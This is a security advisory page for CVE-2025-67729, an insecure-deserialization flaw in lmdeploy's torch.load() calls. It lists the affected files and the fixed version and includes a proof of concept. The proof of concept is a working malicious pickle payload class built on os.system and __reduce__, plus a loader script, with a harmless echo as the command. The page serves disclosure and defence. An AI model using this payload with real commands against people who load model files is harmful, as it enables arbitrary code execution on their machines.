Skip to content
LMDeployGHSA-9pf3-7rrr-x5jh

lmdeploy vulnerable to Arbitrary Code Execution via Insecure Deserialization in torch.load()

High8.8CVE-2025-67729 · Published Dec 26, 2025 · updated Jul 7, 2026

## Summary An insecure deserialization vulnerability exists in lmdeploy where `torch.load()` is called without the `weights_only=True` parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious `.bin` or `.pt` model file. **CWE:** CWE-502 - Deserialization of Untrusted Data --- ## Details Several locations in lmdeploy use `torch.load()` without the recommended `weights_only=True` security parameter. PyTorch's `torch.load()` uses Python's pickle module internally, which can execute arbitrary code during deserialization. ### Vulnerable Locations **1. `lmdeploy/vl/model/utils.py` (Line 22)** ```python def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]: """Load checkpoint.""" if ckpt.endswith('.safetensors'): return load_file(ckpt) # Safe - uses safetensors else: return torch.load(ckpt) # ← VULNERABLE: no weights_only=True ``` **2. `lmdeploy/turbomind/deploy/loader.py` (Line 122)** ```python class PytorchLoader(BaseLoader): def items(self): params = defaultdict(dict) for shard in self.shards: misc = {} tmp =...

GitHub advisory

Affected versions

PackageAffectedFixed in
lmdeploy
PyPI
< 0.11.10.11.1
Details and references

## Summary An insecure deserialization vulnerability exists in lmdeploy where `torch.load()` is called without the `weights_only=True` parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious `.bin` or `.pt` model file. **CWE:** CWE-502 - Deserialization of Untrusted Data --- ## Details Several locations in lmdeploy use `torch.load()` without the recommended `weights_only=True` security parameter. PyTorch's `torch.load()` uses Python's pickle module internally, which can execute arbitrary code during deserialization. ### Vulnerable Locations **1. `lmdeploy/vl/model/utils.py` (Line 22)** ```python def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]: """Load checkpoint.""" if ckpt.endswith('.safetensors'): return load_file(ckpt) # Safe - uses safetensors else: return torch.load(ckpt) # ← VULNERABLE: no weights_only=True ``` **2. `lmdeploy/turbomind/deploy/loader.py` (Line 122)** ```python class PytorchLoader(BaseLoader): def items(self): params = defaultdict(dict) for shard in self.shards: misc = {} tmp = torch.load(shard, map_location='cpu') # ← VULNERABLE ``` **Additional vulnerable locations:** - `lmdeploy/lite/apis/kv_qparams.py:129-130` - `lmdeploy/lite/apis/smooth_quant.py:61` - `lmdeploy/lite/apis/auto_awq.py:101` - `lmdeploy/lite/apis/get_small_sharded_hf.py:41` ### Note: Secure Pattern Already Exists The codebase already uses the secure pattern in one location: ```python # lmdeploy/pytorch/weight_loader/model_weight_loader.py:103 state = torch.load(file, weights_only=True, map_location='cpu') # ✓ Secure ``` This shows the fix is already known and can be applied consistently across the codebase. --- ## PoC ### Step 1: Create a Malicious Checkpoint File Save this as `create_malicious_checkpoint.py`: ```python #!/usr/bin/env python3 """ Creates a malicious PyTorch checkpoint that executes code when loaded. """ import pickle import os class MaliciousPayload: """Executes arbitrary code during pickle deserialization.""" def __init__(self, command): self.command = command def __reduce__(self): # This is called during unpickling - returns (callable, args) return (os.system, (self.command,)) def create_malicious_checkpoint(output_path, command): """Create a malicious checkpoint file.""" malicious_state_dict = { 'model.layer.weight': MaliciousPayload(command), 'config': {'hidden_size': 768} } with open(output_path, 'wb') as f: pickle.dump(malicious_state_dict, f) print(f"[+] Created malicious checkpoint: {output_path}") if __name__ == "__main__": os.makedirs("malicious_model", exist_ok=True) create_malicious_checkpoint( "malicious_model/pytorch_model.bin", "echo '[PoC] Arbitrary code executed! - RCE confirmed'" ) ``` ### Step 2: Load the Malicious File (Simulates lmdeploy's Behavior) Save this as `exploit.py`: ```python #!/usr/bin/env python3 """ Demonstrates the vulnerability by loading the malicious checkpoint. This simulates what happens when lmdeploy loads an untrusted model. """ import pickle def unsafe_load(path): """Simulates torch.load() without weights_only=True.""" # torch.load() uses pickle internally, so this is equivalent with open(path, 'rb') as f: return pickle.load(f) if __name__ == "__main__": print("[*] Loading malicious checkpoint...") print("[*] This simulates: torch.load(ckpt) in lmdeploy") print("-" * 50) result = unsafe_load("malicious_model/pytorch_model.bin") print("-" * 50) print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}") print("[!] If you see the PoC message above, RCE is confirmed!") ``` ### Step 3: Run the PoC ```bash # Create the malicious checkpoint python create_malicious_checkpoint.py # Exploit - trig

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-502
Also known as
CVE-2025-67729, PYSEC-2026-1578

More LMDeploy advisories

All LMDeploy

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.